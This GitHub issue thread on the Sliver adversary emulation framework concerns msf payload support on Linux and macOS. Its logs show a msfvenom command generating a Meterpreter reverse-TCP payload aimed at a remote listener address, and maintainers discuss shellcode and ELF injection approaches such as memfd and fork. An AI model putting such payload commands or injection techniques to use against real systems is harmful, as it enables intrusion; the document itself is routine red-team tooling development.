BishopFox / sliver

Adversary Emulation Framework
GNU General Public License v3.0
7.99k stars 1.06k forks source link

Support `msf` and `msf-inject` on Linux and MacOS #683

Open mrThe opened 2 years ago

mrThe commented 2 years ago

Describe the bug Unable to build and run msf payloads using msf command, because of wrong payload configuration selected.

To Reproduce Steps to reproduce the behavior:

  1. Run sliver
  2. Use any linux x64 session (i assume the same applies for osx and x32 arch)
  3. Run msf --lhost 1.1.1.1 --payload meterpreter_reverse_tcp
  4. See error
    [!] rpc error: code = Unknown desc = exit status 2

Logs:

==> sliver.log <==
INFO[2022-05-22T14:42:54Z] [sliver/server/msf/msf.go:195] msfvenom [--platform linux --arch x64 --format raw --payload linux/x64/meterpreter_reverse_tcp LHOST=1.1.1.1 LPORT=4444 EXITFUNC=thread]

==> sliver.json <==
{"file":"github.com/bishopfox/sliver/server/msf/msf.go:195","func":"github.com/bishopfox/sliver/server/msf.venomCmd","level":"info","msg":"msfvenom [--platform linux --arch x64 --format raw --payload linux/x64/meterpreter_reverse_tcp LHOST=1.1.1.1 LPORT=4444 EXITFUNC=thread]","pkg":"msf","stream":"venom","time":"2022-05-22T14:42:54Z"}

==> sliver.log <==
INFO[2022-05-22T14:43:03Z] [sliver/server/msf/msf.go:202] /usr/bin/msfvenom --platform linux --arch x64 --format raw --payload linux/x64/meterpreter_reverse_tcp LHOST=1.1.1.1 LPORT=4444 EXITFUNC=thread

==> sliver.json <==
{"file":"github.com/bishopfox/sliver/server/msf/msf.go:202","func":"github.com/bishopfox/sliver/server/msf.venomCmd","level":"info","msg":"/usr/bin/msfvenom --platform linux --arch x64 --format raw --payload linux/x64/meterpreter_reverse_tcp LHOST=1.1.1.1 LPORT=4444 EXITFUNC=thread","pkg":"msf","stream":"venom","time":"2022-05-22T14:43:03Z"}

==> sliver.log <==
INFO[2022-05-22T14:43:03Z] [sliver/server/msf/msf.go:204] --- stdout ---

==> sliver.json <==
{"file":"github.com/bishopfox/sliver/server/msf/msf.go:204","func":"github.com/bishopfox/sliver/server/msf.venomCmd","level":"info","msg":"--- stdout ---\n\n","pkg":"msf","stream":"venom","time":"2022-05-22T14:43:03Z"}

==> sliver.log <==
INFO[2022-05-22T14:43:03Z] [sliver/server/msf/msf.go:205] --- stderr ---
No encoder specified, outputting raw payload
Error: selected payload can only generate ELF files

Framework Executable Formats [--format <value>]
===============================================

    Name
    ----
    asp
    aspx
    aspx-exe
    axis2
    dll
    elf
    elf-so
    exe
    exe-only
    exe-service
    exe-small
    hta-psh
    jar
    jsp
    loop-vbs
    macho
    msi
    msi-nouac
    osx-app
    psh
    psh-cmd
    psh-net
    psh-reflection
    python-reflection
    vba
    vba-exe
    vba-psh
    vbs
    war

Framework Transform Formats [--format <value>]
==============================================

    Name
    ----
    base32
    base64
    bash
    c
    csharp
    dw
    dword
    hex
    java
    js_be
    js_le
    num
    perl
    pl
    powershell
    ps1
    py
    python
    raw
    rb
    ruby
    sh
    vbapplication
    vbscript

==> sliver.json <==
{"file":"github.com/bishopfox/sliver/server/msf/msf.go:205","func":"github.com/bishopfox/sliver/server/msf.venomCmd","level":"info","msg":"--- stderr ---\nNo encoder specified, outputting raw payload\nError: selected payload can only generate ELF files\n\nFramework Executable Formats [--format \u003cvalue\u003e]\n===============================================\n\n    Name\n    ----\n    asp\n    aspx\n    aspx-exe\n    axis2\n    dll\n    elf\n    elf-so\n    exe\n    exe-only\n    exe-service\n    exe-small\n    hta-psh\n    jar\n    jsp\n    loop-vbs\n    macho\n    msi\n    msi-nouac\n    osx-app\n    psh\n    psh-cmd\n    psh-net\n    psh-reflection\n    python-reflection\n    vba\n    vba-exe\n    vba-psh\n    vbs\n    war\n\nFramework Transform Formats [--format \u003cvalue\u003e]\n==============================================\n\n    Name\n    ----\n    base32\n    base64\n    bash\n    c\n    csharp\n    dw\n    dword\n    hex\n    java\n    js_be\n    js_le\n    num\n    perl\n    pl\n    powershell\n    ps1\n    py\n    python\n    raw\n    rb\n    ruby\n    sh\n    vbapplication\n    vbscript\n\n\n","pkg":"msf","stream":"venom","time":"2022-05-22T14:43:03Z"}

==> sliver.log <==
INFO[2022-05-22T14:43:03Z] [sliver/server/msf/msf.go:206] exit status 2

==> sliver.json <==
{"file":"github.com/bishopfox/sliver/server/msf/msf.go:206","func":"github.com/bishopfox/sliver/server/msf.venomCmd","level":"info","msg":"exit status 2","pkg":"msf","stream":"venom","time":"2022-05-22T14:43:03Z"}

==> sliver.log <==
WARN[2022-05-22T14:43:03Z] [sliver/server/rpc/rpc-msf.go:78] Error while generating msf payload: exit status 2

==> sliver.json <==
{"file":"github.com/bishopfox/sliver/server/rpc/rpc-msf.go:78","func":"github.com/bishopfox/sliver/server/rpc.(*Server).Msf","level":"warning","msg":"Error while generating msf payload: exit status 2\n","pkg":"rpc","stream":"server","time":"2022-05-22T14:43:03Z"}

==> sliver.log <==
ERRO[2022-05-22T14:43:03Z] [github.com/grpc-ecosystem/go-grpc-middleware@v1.2.2/logging/logrus/options.go:215] finished unary call with code Unknown

==> sliver.json <==
{"error":"exit status 2","file":"github.com/grpc-ecosystem/go-grpc-middleware@v1.2.2/logging/logrus/options.go:215","func":"github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus.DefaultMessageProducer","grpc.code":"Unknown","grpc.method":"Msf","grpc.service":"rpcpb.SliverRPC","grpc.start_time":"2022-05-22T14:42:54Z","grpc.time_ms":8814.257,"level":"error","msg":"finished unary call with code Unknown","peer.address":"[::1]:59802","pkg":"transport","span.kind":"server","stream":"grpc","system":"grpc","time":"2022-05-22T14:43:03Z"}

Expected behavior Payload uploads and runs, msf session created

Additional context

As i see, msfvenom does not support raw format for payloads are available for linux: https://github.com/BishopFox/sliver/blob/58a56a077f0813bb312f9fa4df7453b510c3a73b/server/msf/msf.go

I see it's supported only for staged payloads, like linux/x64/meterpreter/reverse_tcp.

Also, why do you limit available payloads in first place? Maybe i'm missing something, but i don't see why this is required, especially since you support those for windows implants.

System Msf: Framework: 6.1.44-dev- Console : 6.1.44-dev- Sliver: [*] Client v1.5.12 - aacf2c16ac00e4609231f5faee588bdb9ea9c532 - linux/amd64 Compiled at 2022-04-20 20:06:30 +0000 UTC Compiled with go version go1.18 linux/amd64

[*] Server v1.5.12 - aacf2c16ac00e4609231f5faee588bdb9ea9c532 - linux/amd64 Compiled at 2022-04-20 20:06:30 +0000 UTC

rkervella commented 2 years ago

The msf and msf-inject commands are not supported for other target OS than Windows. We currently don't have a way to safely execute shellcodes and perform remote injection on other platforms than Windows.

rkervella commented 2 years ago

Actually reopening this one for long term support.

The other thing about stageless metasploit payloads for Linux / MacOS: they're not shellcode but plain ELF/MachO binaries. The way the metasploit-framework usually work for those is they use what they call a "mid-stager". They have a first stage shellcode which will then load a second stage, usually an ELF/MachO loader and it's this piece that is going to load mettle, the metasploit-framework meterpreter payload for unix environments.

So to be able to have the msf command to work on Linux targets, we'd need to have a working pure-Go ELF loader in the implant code, which we currently don't have. Same thing for MacOS: we'd need a pure-Go MachO loader.

Also, why do you limit available payloads in first place? Maybe i'm missing something, but i don't see why this is required, especially since you support those for windows implants.

This is mainly why: we currently can't load them :)

mrThe commented 2 years ago

But how about staged payloads and payloads that can produce shellcode?

For example, I've commented validation on server and tested msf it with linux/x64/shell_reverse_tcp and it works, but process then hangs up and\or crash. (well, hang up is technically expected). Still get a msf shell tho.

But with linux/x64/meterpreter/reverse_tcp which is can be loaded as shell code as well, it sefgaults right away.

image

So i guess you may split this enhancement into two:

I take some time to play around and to do a small research, and looks like there is no straightforward ways to run shellcode without locking the process in golang.

I guess some weird tricks like forking the process will fix this, but forking in golang is way worse then it can be expected, i've actually tested it out and it kinda works, but process become unstable.

Also, there is some smart ways to load elfs: spawn child process and load elf code into it. And another one, using memfd. Both of them looks pretty good, but i'm curious how well this will work and is there any dependency on system configuration, unfortunately i don't have much experience on this.

References

Since i don't have expertise on that, just hoping my small research will help someone to implement it :)

rkervella commented 2 years ago

I'm aware that there are ways to do injection on Linux, it's just so far we don't have a safe implementation ready. On Windows it's easy, you can create a new thread via system APIs. On Linux, you can ever fork or clone, and none of those options are super reliable in case of a remote process (you might take over the control flow or crash the process). As far as I read, and as you said, even forking in Go is still troublesome.

It's not that I haven't tried, I actually wrote a PoC in a dedicated branch to inject both a shellcode and a library stored in a memory file descriptor. It's just that at the moment it's janky and unreliable.

I had a quick look at emp3r0r, and sounds like the technique is just to fork/exec, I just wonder how stable it is (ideally you'd want to be able to inject in any process, provided you have the proper permissions to do so).

So right now the status is TBD.

But how about staged payloads and payloads that can produce shellcode?

As you noticed, we lose control of the implant in self-injection and for remote injection, you might crash the remote process / make it unresponsive. Having that option implemented right now would let people think it's safe and ready to use, except it's not.